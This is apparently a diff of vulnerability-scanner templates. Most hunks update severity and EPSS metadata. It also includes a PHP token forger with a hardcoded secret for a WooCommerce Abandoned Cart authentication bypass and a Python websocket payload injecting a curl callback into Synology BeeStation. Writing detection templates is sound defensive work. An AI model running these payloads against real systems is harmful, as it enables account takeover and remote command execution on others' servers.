+  tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart
+code:
+  - engine:
+      - php
+    source: |
+      <?php
+      class Wcal_Aes {
+
+          /**
+          * AES Cipher function [�5.1]: encrypt 'input' with Rijndael algorithm
+          *
+          * @param input message as byte-array (16 bytes)
+          * @param w     key schedule as 2D byte-array (Nr+1 x Nb bytes) -
+          *              generated from the cipher key by keyExpansion()
+          * @return      ciphertext as byte-array (16 bytes)
+          * @since 2.8
+          */
+          public static function cipher( $input, $w ) {
+              $Nb    = 4; // block size (in words): no of columns in state (fixed at 4 for AES)
+              $Nr    = count( $w ) / $Nb - 1; // no of rounds: 10/12/14 for 128/192/256-bit keys
+              $state = array(); // initialise 4xNb byte-array 'state' with input [�3.4]
+              for ( $i = 0; $i < 4 * $Nb;
+              $i++ ) {
+                  $state[ $i % 4 ][ floor( $i / 4 ) ] = $input[ $i ];
+              }
+
+              $state = self::addRoundKey( $state, $w, 0, $Nb );
+
+              for ( $round = 1; $round < $Nr; $round++ ) { // apply Nr rounds
+                  $state = self::subBytes( $state, $Nb );
+                  $state = self::shiftRows( $state, $Nb );
+                  $state = self::mixColumns( $state, $Nb );
+                  $state = self::addRoundKey( $state, $w, $round, $Nb );
+              }
+
+              $state = self::subBytes( $state, $Nb );
+              $state = self::shiftRows( $state, $Nb );
+              $state = self::addRoundKey( $state, $w, $Nr, $Nb );
+
+              $output = array( 4 * $Nb ); // convert state to 1-d array before returning [�3.4]
+              for ( $i = 0; $i < 4 * $Nb;
+              $i++ ) {
+                  $output[ $i ] = $state[ $i % 4 ][ floor( $i / 4 ) ];
+              }
+              return $output;
+          }
+          /**
+          * Xor Round Key into state S [�5.1.4].
+          *
+          * @since 2.8
+          */
+          private static function addRoundKey( $state, $w, $rnd, $Nb ) {
+              for ( $r = 0; $r < 4; $r++ ) {
+                  for ( $c = 0; $c < $Nb;
+                  $c++ ) {
+                      $state[ $r ][ $c ] ^= $w[ $rnd * 4 + $c ][ $r ];
+                  }
+              }
+              return $state;
+          }
+
+          /**
+          * Apply SBox to state S [�5.1.1].
+          *
+          * @since 2.8
+          */
+          private static function subBytes( $s, $Nb ) {
+              for ( $r = 0; $r < 4; $r++ ) {
+                  for ( $c = 0; $c < $Nb;
+                  $c++ ) {
+                      $s[ $r ][ $c ] = self::$sBox[ $s[ $r ][ $c ] ];
+                  }
+              }
+              return $s;
+          }
+
+          /**
+          * Shift row r of state S left by r bytes [�5.1.2].
+          *
+          * @since 2.8
+          */
+          private static function shiftRows( $s, $Nb ) {
+              $t = array( 4 );
+              for ( $r = 1; $r < 4; $r++ ) {
+                  for ( $c = 0; $c < 4;
+                  $c++ ) {
+                      $t[ $c ] = $s[ $r ][ ( $c + $r ) % $Nb ]; // shift into temp copy
+                  }
+                  for ( $c = 0; $c < 4;
+                  $c++ ) {
+                      $s[ $r ][ $c ] = $t[ $c ]; // and copy back
+                  }
+              } // note that this will work for Nb=4,5,6, but not 7,8 (always 4 for AES):
+              return $s; // see fp.gladman.plus.com/cryptography_technology/rijndael/aes.spec.311.pdf
+          }
+
+          /**
+          * Combine bytes of each col of state S [�5.1.3].
+          *
+          * @since 2.8
+          */
+          private static function mixColumns( $s, $Nb ) {
+              for ( $c = 0; $c < 4; $c++ ) {
+                  $a = array( 4 ); // 'a' is a copy of the current column from 's'
+                  $b = array( 4 ); // 'b' is a�{02} in GF(2^8)
+                  for ( $i = 0; $i < 4; $i++ ) {
+                      $a[ $i ] = $s[ $i ][ $c ];
+                      $b[ $i ] = $s[ $i ][ $c ] & 0x80 ? $s[ $i ][ $c ] << 1 ^ 0x011b : $s[ $i ][ $c ] << 1;
+                  }
+                  // a[n] ^ b[n] is a�{03} in GF(2^8)
+                  $s[0][ $c ] = $b[0] ^ $a[1] ^ $b[1] ^ $a[2] ^ $a[3]; // 2*a0 + 3*a1 + a2 + a3
+                  $s[1][ $c ] = $a[0] ^ $b[1] ^ $a[2] ^ $b[2] ^ $a[3]; // a0 * 2*a1 + 3*a2 + a3
+                  $s[2][ $c ] = $a[0] ^ $a[1] ^ $b[2] ^ $a[3] ^ $b[3]; // a0 + a1 + 2*a2 + 3*a3
+                  $s[3][ $c ] = $a[0] ^ $b[0] ^ $a[1] ^ $a[2] ^ $b[3]; // 3*a0 + a1 + a2 + 2*a3
+              }
+              return $s;
+          }
+
+          /**
+          * Generate Key Schedule from Cipher Key [�5.2].
+          *
+          * Perform key expansion on cipher key to generate a key schedule.
+          *
+          * @param  key cipher key byte-array (16 bytes).
+          * @return key schedule as 2D byte-array (Nr+1 x Nb bytes).
+          * @since 2.8
+          */
+          public static function keyExpansion( $key ) {
+              $Nb = 4; // block size (in words): no of columns in state (fixed at 4 for AES)
+              $Nk = count( $key ) / 4; // key length (in words): 4/6/8 for 128/192/256-bit keys
+              $Nr = $Nk + 6; // no of rounds: 10/12/14 for 128/192/256-bit keys
+
+              $w    = array();
+              $temp = array();
+
+              for ( $i = 0; $i < $Nk; $i++ ) {
+                  $r       = array( $key[ 4 * $i ], $key[ 4 * $i + 1 ], $key[ 4 * $i + 2 ], $key[ 4 * $i + 3 ] );
+                  $w[ $i ] = $r;
+              }
+
+              for ( $i = $Nk; $i < ( $Nb * ( $Nr + 1 ) ); $i++ ) {
+                  $w[ $i ] = array();
+                  for ( $t = 0; $t < 4;
+                  $t++ ) {
+                      $temp[ $t ] = $w[ $i - 1 ][ $t ];
+                  }
+                  if ( $i % $Nk == 0 ) {
+                      $temp = self::subWord( self::rotWord( $temp ) );
+                      for ( $t = 0; $t < 4;
+                      $t++ ) {
+                          $temp[ $t ] ^= self::$rCon[ $i / $Nk ][ $t ];
+                      }
+                  } elseif ( $Nk > 6 && $i % $Nk == 4 ) {
+                      $temp = self::subWord( $temp );
+                  }
+                  for ( $t = 0; $t < 4;
+                  $t++ ) {
+                      $w[ $i ][ $t ] = $w[ $i - $Nk ][ $t ] ^ $temp[ $t ];
+                  }
+              }
+              return $w;
+          }
+
+          /**
+          * Apply SBox to 4-byte word w.
+          *
+          * @since 2.8
+          */
+          private static function subWord( $w ) {
+              for ( $i = 0; $i < 4;
+              $i++ ) {
+                  $w[ $i ] = self::$sBox[ $w[ $i ] ];
+              }
+              return $w;
+          }
+
+          /**
+          * Rotate 4-byte word w left by one byte.
+          *
+          * @since 2.8
+          */
+          private static function rotWord( $w ) {
+              $tmp = $w[0];
+              for ( $i = 0; $i < 3;
+              $i++ ) {
+                  $w[ $i ] = $w[ $i + 1 ];
+              }
+              $w[3] = $tmp;
+              return $w;
+          }
+
+          // sBox is pre-computed multiplicative inverse in GF(2^8) used in subBytes and keyExpansion [�5.1.1]
+          private static $sBox = array(
+              0x63,
+              0x7c,
+              0x77,
+              0x7b,
+              0xf2,
+              0x6b,
+              0x6f,
+              0xc5,
+              0x30,
+              0x01,
+              0x67,
+              0x2b,
+              0xfe,
+              0xd7,
+              0xab,
+              0x76,
+              0xca,
+              0x82,
+              0xc9,
+              0x7d,
+              0xfa,
+              0x59,
+              0x47,
+              0xf0,
+              0xad,
+              0xd4,
+              0xa2,
+              0xaf,
+              0x9c,
+              0xa4,
+              0x72,
+              0xc0,
+              0xb7,
+              0xfd,
+              0x93,
+              0x26,
+              0x36,
+              0x3f,
+              0xf7,
+              0xcc,
+              0x34,
+              0xa5,
+              0xe5,
+              0xf1,
+              0x71,
+              0xd8,
+              0x31,
+              0x15,
+              0x04,
+              0xc7,
+              0x23,
+              0xc3,
+              0x18,
+              0x96,
+              0x05,
+              0x9a,
+              0x07,
+              0x12,
+              0x80,
+              0xe2,
+              0xeb,
+              0x27,
+              0xb2,
+              0x75,
+              0x09,
+              0x83,
+              0x2c,
+              0x1a,
+              0x1b,
+              0x6e,
+              0x5a,
+              0xa0,
+              0x52,
+              0x3b,
+              0xd6,
+              0xb3,
+              0x29,
+              0xe3,
+              0x2f,
+              0x84,
+              0x53,
+              0xd1,
+              0x00,
+              0xed,
+              0x20,
+              0xfc,
+              0xb1,
+              0x5b,
+              0x6a,
+              0xcb,
+              0xbe,
+              0x39,
+              0x4a,
+              0x4c,
+              0x58,
+              0xcf,
+              0xd0,
+              0xef,
+              0xaa,
+              0xfb,
+              0x43,
+              0x4d,
+              0x33,
+              0x85,
+              0x45,
+              0xf9,
+              0x02,
+              0x7f,
+              0x50,
+              0x3c,
+              0x9f,
+              0xa8,
+              0x51,
+              0xa3,
+              0x40,
+              0x8f,
+              0x92,
+              0x9d,
+              0x38,
+              0xf5,
+              0xbc,
+              0xb6,
+              0xda,
+              0x21,
+              0x10,
+              0xff,
+              0xf3,
+              0xd2,
+              0xcd,
+              0x0c,
+              0x13,
+              0xec,
+              0x5f,
+              0x97,
+              0x44,
+              0x17,
+              0xc4,
+              0xa7,
+              0x7e,
+              0x3d,
+              0x64,
+              0x5d,
+              0x19,
+              0x73,
+              0x60,
+              0x81,
+              0x4f,
+              0xdc,
+              0x22,
+              0x2a,
+              0x90,
+              0x88,
+              0x46,
+              0xee,
+              0xb8,
+              0x14,
+              0xde,
+              0x5e,
+              0x0b,
+              0xdb,
+              0xe0,
+              0x32,
+              0x3a,
+              0x0a,
+              0x49,
+              0x06,
+              0x24,
+              0x5c,
+              0xc2,
+              0xd3,
+              0xac,
+              0x62,
+              0x91,
+              0x95,
+              0xe4,
+              0x79,
+              0xe7,
+              0xc8,
+              0x37,
+              0x6d,
+              0x8d,
+              0xd5,
+              0x4e,
+              0xa9,
+              0x6c,
+              0x56,
+              0xf4,
+              0xea,
+              0x65,
+              0x7a,
+              0xae,
+              0x08,
+              0xba,
+              0x78,
+              0x25,
+              0x2e,
+              0x1c,
+              0xa6,
+              0xb4,
+              0xc6,
+              0xe8,
+              0xdd,
+              0x74,
+              0x1f,
+              0x4b,
+              0xbd,
+              0x8b,
+              0x8a,
+              0x70,
+              0x3e,
+              0xb5,
+              0x66,
+              0x48,
+              0x03,
+              0xf6,
+              0x0e,
+              0x61,
+              0x35,
+              0x57,
+              0xb9,
+              0x86,
+              0xc1,
+              0x1d,
+              0x9e,
+              0xe1,
+              0xf8,
+              0x98,
+              0x11,
+              0x69,
+              0xd9,
+              0x8e,
+              0x94,
+              0x9b,
+              0x1e,
+              0x87,
+              0xe9,
+              0xce,
+              0x55,
+              0x28,
+              0xdf,
+              0x8c,
+              0xa1,
+              0x89,
+              0x0d,
+              0xbf,
+              0xe6,
+              0x42,
+              0x68,
+              0x41,
+              0x99,
+              0x2d,
+              0x0f,
+              0xb0,
+              0x54,
+              0xbb,
+              0x16,
+          );
+
+          // rCon is Round Constant used for the Key Expansion [1st col is 2^(r-1) in GF(2^8)] [�5.2]
+          private static $rCon = array(
+              array( 0x00, 0x00, 0x00, 0x00 ),
+              array( 0x01, 0x00, 0x00, 0x00 ),
+              array( 0x02, 0x00, 0x00, 0x00 ),
+              array( 0x04, 0x00, 0x00, 0x00 ),
+              array( 0x08, 0x00, 0x00, 0x00 ),
+              array( 0x10, 0x00, 0x00, 0x00 ),
+              array( 0x20, 0x00, 0x00, 0x00 ),
+              array( 0x40, 0x00, 0x00, 0x00 ),
+              array( 0x80, 0x00, 0x00, 0x00 ),
+              array( 0x1b, 0x00, 0x00, 0x00 ),
+              array( 0x36, 0x00, 0x00, 0x00 ),
+          );
+
+      }
+      function urs( $a, $b ) {
+              $a  = intval( $a ) & 0xffffffff;
+              $b &= 0x1f; // (bounds check)
+              if ( $a & 0x80000000 && $b > 0 ) { // if left-most bit set.
+                  $a     = ( $a >> 1 ) & 0x7fffffff; // right-shift one bit & clear left-most bit.
+                  $check = $b - 1;
+                  $a     = $a >> ( $check ); // remaining right-shifts.
+              } else { // otherwise.
+                  $a = ( $a >> $b ); // use normal right-shift.
+              }
+              return $a;
+        }
+
+
+        function encrypt( $plaintext, $password, $nBits ) {
+              $blockSize = 16; // block size fixed at 16 bytes / 128 bits (Nb=4) for AES
+              if ( ! ( $nBits == 128 || $nBits == 192 || $nBits == 256 ) ) {
+                  return ''; // standard allows 128/192/256 bit keys
+              }
+              // note PHP (5) gives us plaintext and password in UTF8 encoding!
+
+              // use AES itself to encrypt password to get cipher key (using plain password as source for
+              // key expansion) - gives us well encrypted key
+              $nBytes  = $nBits / 8; // no bytes in key
+              $pwBytes = array();
+              for ( $i = 0; $i < $nBytes;
+              $i++ ) {
+                  $pwBytes[ $i ] = ord( substr( $password, $i, 1 ) ) & 0xff;
+              }
+              $key = Wcal_Aes::cipher( $pwBytes, Wcal_Aes::keyExpansion( $pwBytes ) );
+              $key = array_merge( $key, array_slice( $key, 0, $nBytes - 16 ) ); // expand key to 16/24/32 bytes long
+
+              // initialise 1st 8 bytes of counter block with nonce (NIST SP800-38A �B.2): [0-1] = millisec,
+              // [2-3] = random, [4-7] = seconds, giving guaranteed sub-ms uniqueness up to Feb 2106
+              $counterBlock = array();
+              $nonce        = floor( microtime( true ) * 1000 ); // timestamp: milliseconds since 1-Jan-1970
+              $nonceMs      = $nonce % 1000;
+              $nonceSec     = floor( $nonce / 1000 );
+              $nonceRnd     = floor( rand( 0, 0xffff ) );
+
+              for ( $i = 0; $i < 2;
+              $i++ ) {
+                  $counterBlock[ $i ] = urs( $nonceMs, $i * 8 ) & 0xff;
+              }
+              for ( $i = 0; $i < 2;
+              $i++ ) {
+                  $counterBlock[ $i + 2 ] = urs( $nonceRnd, $i * 8 ) & 0xff;
+              }
+              for ( $i = 0; $i < 4;
+              $i++ ) {
+                  $counterBlock[ $i + 4 ] = urs( $nonceSec, $i * 8 ) & 0xff;
+              }
+
+              // and convert it to a string to go on the front of the ciphertext
+              $ctrTxt = '';
+              for ( $i = 0; $i < 8;
+              $i++ ) {
+                  $ctrTxt .= chr( $counterBlock[ $i ] );
+              }
+
+              // generate key schedule - an expansion of the key into distinct Key Rounds for each round
+              $keySchedule = Wcal_Aes::keyExpansion( $key );
+              // print_r($keySchedule);
+
+              $blockCount = ceil( strlen( $plaintext ) / $blockSize );
+              $ciphertxt  = array(); // ciphertext as array of strings
+
+              for ( $b = 0; $b < $blockCount; $b++ ) {
+                  // set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
+                  // done in two stages for 32-bit ops: using two words allows us to go past 2^32 blocks (68GB)
+                  for ( $c = 0; $c < 4;
+                  $c++ ) {
+                      $counterBlock[ 15 - $c ] = urs( $b, $c * 8 ) & 0xff;
+                  }
+                  for ( $c = 0; $c < 4;
+                  $c++ ) {
+                      $counterBlock[ 15 - $c - 4 ] = urs( $b / 0x100000000, $c * 8 );
+                  }
+
+                  $cipherCntr = Wcal_Aes::cipher( $counterBlock, $keySchedule ); // -- encrypt counter block --
+
+                  // block size is reduced on final block
+                  $blockLength = $b < $blockCount - 1 ? $blockSize : ( strlen( $plaintext ) - 1 ) % $blockSize + 1;
+                  $cipherByte  = array();
+
+                  for ( $i = 0; $i < $blockLength; $i++ ) { // -- xor plaintext with ciphered counter byte-by-byte --
+                      $cipherByte[ $i ] = $cipherCntr[ $i ] ^ ord( substr( $plaintext, $b * $blockSize + $i, 1 ) );
+                      $cipherByte[ $i ] = chr( $cipherByte[ $i ] );
+                  }
+                  $ciphertxt[ $b ] = implode( '', $cipherByte ); // escape troublesome characters in ciphertext
+              }
+
+              // implode is more efficient than repeated string concatenation
+              $ciphertext = $ctrTxt . implode( '', $ciphertxt );
+              $ciphertext = base64_encode( $ciphertext );
+              return $ciphertext;
+          }
+          $validate_val = getenv('cart_id').'&url='. getenv('Scheme') . '://' . getenv('Host'). ':'. getenv('Port') .'/checkout/';
+          $secret = 'qJB0rGtIn5UB1xG03efyCp';
+          echo encrypt($validate_val, '', 256) . ":" . encrypt($validate_val,$secret , 256);
+
+
+http:
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/?wcal_action=checkout_link&user_email=test&validate={{replace_regex(code_response,'(.*:)','')}}"
+    headers:
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/?wcal_action=checkout_link&user_email=test&validate={{replace_regex(code_response,'(:.*)','')}}"
+    headers:
+
+    stop-at-first-match: true
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "wordpress_logged_in_"
+          - "/checkout/"
+        condition: and
+
+      - type: word
+        part: body
+        words:
+          - "Link expired"
+        negative: true
+
+      - type: status
+        status:
+          - 302
+# digest: 4a0a00473045022100c7b97b5b190f4a227f3ba95fb469d1a90fecdc553b3bc749f46048cab15369a4022029d5f8c561ddab25265e0ac4603a7d4f07207be07f6b597dffcd75e91c9e4b8a:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2023-49105
    cwe-id: CWE-287
-    epss-score: 0.18166
-    epss-percentile: 0.96172
+    epss-score: 0.86244
+    epss-percentile: 0.99361
    cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -90,4 +90,4 @@ http:
      - type: dsl
        dsl:
          - '"Username => "+ username'
-# digest: 4b0a0048304602210097de106f56df20d4649d793b15fa2d3f84941e9ce92c24229d036e6b293a3d3a022100d810cbc181ba167025440b9de7b86d072c009e244ce2abd4e4aed6ab1599d1ce:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008875cf05746628578112f29d306e793ce585a00ead604f44bdcaf6d1e45ceb68022010a85a681e0751ef0baed0f13e8c575a0bb4e324ab5d54a1a7c187604bcda5c0:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-4911
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.0171
-    epss-percentile: 0.87439
+    epss-score: 0.74116
+    epss-percentile: 0.98791
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -39,4 +39,4 @@ code:
      - type: word
        words:
          - "139"     # Segmentation Fault Exit Code
-# digest: 4b0a004830460221009b0b0cfac42037ebc60fb784afe5b4b70d62670e925e5b173d8e9e1e88fdc163022100edfb6d5010a063cfdbe507710c75ef7c530b946d363571fad08d504e9e519505:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022040a81ac2ad959d217857499ca5396b31db4906f82ffd9773e2b3e8bc9c5ec2dd02200bb9811d32aee0b5be5586f698e40c9a553cc8942a956ad6620aa1afa22b97a0:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-6246
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.0077
-    epss-percentile: 0.80859
+    epss-score: 0.28497
+    epss-percentile: 0.96362
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -39,4 +39,4 @@ code:
      - type: word
        words:
          - "127"     # Segmentation Fault Exit Code
-# digest: 490a00463044022067d33f4da6f38d0bbdd03910db3f757750cd7d17e8865d79a7f6dc3b68b2367702207a1573a717bd2ecba367dfdee834be3861b73053905b847e9199345d993f7acd:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bd86241977f77ec4471f4e215f239cd4c2c4d310009522616754bff1c83e43e9022100de9dfa0d46bfe5e3e45eaa6462a5c01aeb6007a4952bb1697d6dedbc276270bc:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,57 @@
+id: CVE-2024-10443
+
+info:
+  name: Synology BeeStation BST150-4T - Unauthenticated Command Injection
+  author: iamnoooob,pdresearch
+  severity: critical
+  description: |
+    Improper neutralization of special elements used in a command ('Command Injection') vulnerability in Task Manager component in Synology BeePhotos before 1.0.2-10026 and 1.1.0-10053 and Synology Photos before 1.6.2-0720 and 1.7.0-0795 allows remote attackers to execute arbitrary code via unspecified vectors.
+  reference:
+    - https://www.synology.com/en-us/security/advisory/Synology_SA_24_18
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2024-10443
+    cwe-id: CWE-77
+    epss-score: 0.69894
+    epss-percentile: 0.98618
+    cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: synology
+    product: photos
+    framework: diskstation_manager
+    shodan-query: html:"BeeStation"
+  tags: unauth,synology,rce,websocket,diskstation
+
+variables:
+  OAST: "{{interactsh-url}}"
+
+code:
+  - engine:
+      - py
+      - python3 # requires python to be pre-installed on system running nuclei
+
+    source: |
+        import websocket,os,json # pip install websocket-client
+        url = "ws://"+os.getenv('Hostname')+"/FotoSocketIo/socket.io/?transport=websocket&EIO=4"
+        ws = websocket.create_connection(url)
+        initial = ws.recv()
+        ws.send("40")
+        response = ws.recv()
+        payload = {
+            "id_user": ";curl "+os.getenv('OAST')+";",
+            "timestamp": 0,
+            "location": "xxd"
+        }
+        event_message = f'42["page-view",{json.dumps(payload)}]'
+        ws.send(event_message)
+        ws.close()
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "dns"
+# digest: 4a0a004730450220511e571db5d5da0bfa64140844ecb6b6a8c8d34c619b653100ae31e91ec729d2022100891722957d284e2a9169c66964f54e9698a5a42d2c990314f0bc57f7b029e35c:922c64590222798bb761d5b6d8e72950
@@ -13,12 +13,14 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-12356
    cwe-id: CWE-77
+    epss-score: 0.93687
+    epss-percentile: 0.99841
    cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
  metadata:
    vendor: beyondtrust
    product: privileged_remote_access
    verified: true
-  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access
+  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev

 code:
  - engine:
@@ -35,4 +37,4 @@ code:
        words:
          - "0 success"
          - "1 try again later"
-# digest: 4b0a004830460221009b992dc11657502934210c647c8a324000984f2ced04da26d5afb3e8cc3a2f9d02210098f750c74fcb8749b28d18e1077b38d9d1a8c6ca6d00b10155f987033cee4171:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200b37b3f73826455d516931c5296dbaba91036d7e80ba5f11e544fea8dc775a75022100c8bbd7a40f951edf1629235401f4da2be665590e74464519de65ad0b42b7e049:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.1
    cve-id: CVE-2024-22120
    cwe-id: CWE-20
-    epss-score: 0.00043
-    epss-percentile: 0.09568
+    epss-score: 0.93596
+    epss-percentile: 0.99832
  metadata:
    max-request: 1
    vendor: zabbix
@@ -71,4 +71,4 @@ code:
      - type: word
        words:
          - "Vulnerable to CVE-2024-22120"
-# digest: 490a004630440220373630574dc675bb0fb8395e3ba509866bb2524b66ba5af917e1c88af91ec0aa022072b103b17bfeb7f48ed7ba168e35269ee51e499398be47a1c2f98f07cb4cd689:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022025c92476c4be0039721b139dbeb6c79092139443c438dad448cfd2f05da0a5ca02207927404826fa7d6f8f7cf05ced1e423628fde86c290bb4e4ebed907d0d3cf355:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2024-3094
    cwe-id: CWE-506
-    epss-score: 0.00079
-    epss-percentile: 0.32887
+    epss-score: 0.86323
+    epss-percentile: 0.99365
    cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -59,4 +59,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a004730450221009abe47857ffdb332e0e64304eac070593121f5ed53dddca447b831feceb14de10220054bdf467470183f86c9da127ed80e2e19154c35e6fd7f0e9da3cbb4d5e4b866:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022054bcebe277e8065f26d05e4687e0113cd9c46eef4470b33f48b3b85182501174022058d4832af02dede606b68af5ab70c68e320e59f848f1267fedc59b33e107a153:922c64590222798bb761d5b6d8e72950
@@ -10,6 +10,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-4340
+    epss-score: 0.14988
+    epss-percentile: 0.94311
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
  tags: cve,cve2024,py,code,dos,python,sqlparse
@@ -27,4 +29,4 @@ code:
        part: stderr
        words:
          - "RecursionError: maximum recursion depth exceeded"
-# digest: 490a0046304402201ac09f592d24f7e3d3087a1f7fbdb85b68416f74d0550fe9d9d9d41898a7b27b02206111d2729c3a07e5e63866a2ec73d167b64e612581728883cb8966797b137cf3:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210089bcc3455b7c88d7661935d11299513e8587ede3c558cb7d4ffb7d08773b0f5e022100f427e4c730b4b68da3bc12b35b016d85a6a4ebb59a47368b704ab2f85262421d:922c64590222798bb761d5b6d8e72950
@@ -20,6 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
+    epss-score: 0.12641
+    epss-percentile: 0.9373
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
@@ -121,4 +123,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4a0a0047304502200ca1bbbc60fa2debbed3a416665eacb5232cea3b028b9da309258483b69822d6022100b0184d0a81fb72e2e32d58323bb81aa53d24b1c5fcd038771a71f8ff000e3ee6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022027adcc282552da29cd8826014ddb129e6bdf7be89e63adcde0665eb5fbe079b5022100bc17da39d2083d1ad807db298496b4d57a25ad317d9c21dd39bcf4576f5204f2:922c64590222798bb761d5b6d8e72950
@@ -17,6 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
+    epss-score: 0.7976
+    epss-percentile: 0.99064
  metadata:
    verified: true
    max-request: 2
@@ -191,4 +193,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 490a0046304402204698451453cf480c6f4c8e276ddf0d9380a61c999a65ec0d29c5ed8490864e9e02205439af80b227f33a6378587084d8d95d7a50df8523a6d8f338a2561adf63ebc1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100fa051fc59c7e7a9bf4857e279185fde62cce5223f4667bf9566e558ea57b4e5702205d4082e4fe67bb7e9e411d5b174ffc7d30c3b1d3386ef0b2d6ff0f54e3e10239:922c64590222798bb761d5b6d8e72950
@@ -21,6 +21,8 @@ info:
    cvss-score: 6.8
    cve-id: CVE-2024-56331
    cwe-id: CWE-22
+    epss-score: 0.41406
+    epss-percentile: 0.97319
  metadata:
    verified: true
    shodan-query: http.title:"Uptime Kuma"
@@ -122,4 +124,4 @@ code:
      - type: word
        words:
          - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 4a0a00473045022100df7d5d216b87880a14cc83c6a75207c8abe35918c11518caf6cc303812f77d7102202822e8fce807e7f5e5015788df46b6ecf677ff6ff2dcb6e1e3da8d3976b3ad45:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210096260af4bceedc4785b9340cedbb504b42efa85cb8a6089f2e217d71caf44e7f022100dd4ff46529688be3704561cc24852e1f4b70d7885fa54ae482f1ecb555ee1e80:922c64590222798bb761d5b6d8e72950
@@ -10,8 +10,8 @@ info:
    - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
    - https://github.com/advisories/GHSA-g83h-4727-5rpv
  classification:
-    epss-score: 0.00045
-    epss-percentile: 0.16808
+    epss-score: 0.37459
+    epss-percentile: 0.97077
  metadata:
    verified: true
    shodan-query: title:"GitHub Enterprise"
@@ -188,4 +188,4 @@ http:
      - type: kval
        kval:
          - user_session
-# digest: 4a0a0047304502201d9a6f1f7ac210b5f531ac3b64b73ac246350f6fa67725457a6096ba96d3600a022100cf325e2fc0f46f03d1f365f3c3fcd0a968ffdcf74f851f58d0dba07ec47c861d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100dd4da0ca84aabed177c722b5b4497d36decd2c68c160d43c2071203cf090c5a70221008a1401936b9deef341792ab010e298c9de1045bf0f661200dbbdf6ec614f65a6:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,114 @@
+id: CVE-2025-22457
+
+info:
+  name: Ivanti Connect Secure - Stack-based Buffer Overflow
+  author: s4e-io
+  severity: critical
+  description: |
+    Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4,
+    and Ivanti ZTA Gateways before version 22.8R2.2 contain a stack-based buffer overflow caused by
+    improper input handling, allowing remote attackers to execute arbitrary code without authentication.
+  impact: |
+    Remote attackers can execute arbitrary code on the affected systems, potentially leading to full system compromise.
+  remediation: |
+    Update to the latest versions: Ivanti Connect Secure 22.7R2.6 or later, Ivanti Policy Secure 22.7R1.4 or later, Ivanti ZTA Gateways 22.8R2.2 or later.
+  reference:
+    - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
+    - https://www.cvedetails.com/cve/CVE-2025-22457
+    - https://github.com/securekomodo/CVE-2025-22457
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 9.0
+    cve-id: CVE-2025-22457
+    cwe-id: CWE-121,CWE-787
+    epss-score: 0.75813
+    epss-percentile: 0.98866
+    cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
+  metadata:
+    vendor: ivanti
+    product: connect_secure
+    shodan-query: http.title:"ivanti connect secure"
+    fofa-query: title="ivanti connect secure"
